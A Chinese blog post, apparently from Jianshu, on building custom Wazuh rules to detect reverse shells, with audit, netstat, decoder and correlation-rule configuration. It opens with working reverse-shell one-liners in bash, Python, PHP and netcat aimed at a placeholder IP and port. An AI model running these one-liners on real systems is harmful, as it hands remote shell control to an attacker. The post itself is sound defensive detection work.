Wauzh自定义反弹shell告警规则

常见反弹:

bash -i >& /dev/tcp/ip/port 0>&1

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");'

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

nc -e /bin/bash ip port

测试截图:

nc:

bash:


反弹原理:简单来说就是被控制端发起对控制端监听端口的请求,并将命令行的输入输出转到控制端,相当于我们常见的客户端及服务端角色反转。

参考:

https://www.freebuf.com/articles/system/187584.html

https://cloud.tencent.com/developer/article/1527568

https://xz.aliyun.com/t/2548 原理深入

https://xz.aliyun.com/t/2549

https://www.cnblogs.com/ginvip/p/6350222.html文件标识符FD的解释

规则设计:如果bash进程有远程socket但是没有tty,那么就认定是一个反弹shell

1、检查/bin/bash进程(ps -ef|grep bash)

2、lsof -p $pid

3、遍历lsof结果

当TYPE中包含CHR且NAME中有(tty|pts|ptmx)

TYPE中包含'IP',并且该行包括关键字'ESTABLISHED',并获取控制端IP信息,正则匹配->和:之间的IP:(?<=->)((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}(?=:)

FD为'cwd',展示该行的NAME

wazuh配置

1、配置audit告警/bin/bash执行,agent端配置:

auditctl -w /bin/bash -p x -F key=audit-wazuh-c

2、wazuh告警

rule.id:80792


3、依据audit内容调整规则,但是wazuh是以日志为前提条件产生告警的,因此无法通过规则来触发执行,以下检测方式只能通过脚本执行:

   exe="/bin/bash"+type=EXECVE+包含=“-i”

   执行lsof -p $pid

   判断TYPE中包含'IP',并且该行包括关键字'ESTABLISHED',并获取控制端IP信息,正则匹配->和:之间的IP:(?<=->)((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}(?=:)

4、通过端口以及进程来判断

客户端配置/bin/bash的监控:auditctl -w /bin/bash -p x -F key=audit-wazuh-c

配置执行命令:netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'  (rule.id=100005)

当10005和80792同时出现时,存在反弹shell,告警100006

agent.conf 编写:

<agent_config>

     <wodle name="command">

        <disabled>no</disabled>

        <tag>reverse shell test</tag>

        netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'</command> #查看是否存在以bash或者sh为名的远程连接

        <interval>5s</interval>

        <ignore_output>no</ignore_output>

        <run_on_start>yes</run_on_start>

        <timeout>0</timeout>

    </wodle>

</agent_config>

decoders.xml编写

<decoder name="check_reverse_shell">

    <prematch>^tcp</prematch>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_parent">\s*(\d+)\s*</regex>  #wazuh上适用的regex不一样,需严格遵守官网https://documentation.wazuh.com/3.10/user-manual/ruleset/ruleset-xml-syntax/regex.html#os-regex-or-regex-syntax

    <order>send_q</order>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_regex">\s*(\d+\p\d+\p\d+\p\d+)</regex>

    <order>srcip</order>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_regex">\p(\d+)</regex>

    <order>srcport</order>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_regex">\s*(\d+\p\d+\p\d+\p\d+)</regex>

    <order>dstip</order>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_regex">\p(\d+)</regex>

    <order>dstport</order>

</decoder>

rule.xml编写

<group name="attack,">

    <rule id="100005" level="7">  #不能在此就和80792匹配,官网没有找到答案,在默认规则里也没有找到,猜测可能是因为该条规则通过日志解析以及level配置后是必定会告警,但是与if_sid的前提条件产生先有蛋还是先有鸡的冲突,因此需要在规则匹配产生告警后,才能进一步去关联

        <decoded_as>check_reverse_shell</decoded_as>

        <match>ESTABLISHED</match>

        <regex>/bash|/sh</regex>

        <description>bash|sh netstat information</description>

    </rule>

    <rule id="100006" level="12" timeframe="10" frequency="2">

        <if_sid>100005</if_sid>

        <if_matched_sid>80792</if_matched_sid>

        <description>There could be reverse shell.Plz check.</description>

    </rule>

</group>

告警展示


©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,937评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,503评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,712评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,668评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,677评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,601评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,975评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,637评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,881评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,621评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,710评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,387评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,971评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,947评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,189评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,805评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,449评论 2 342

推荐阅读更多精彩内容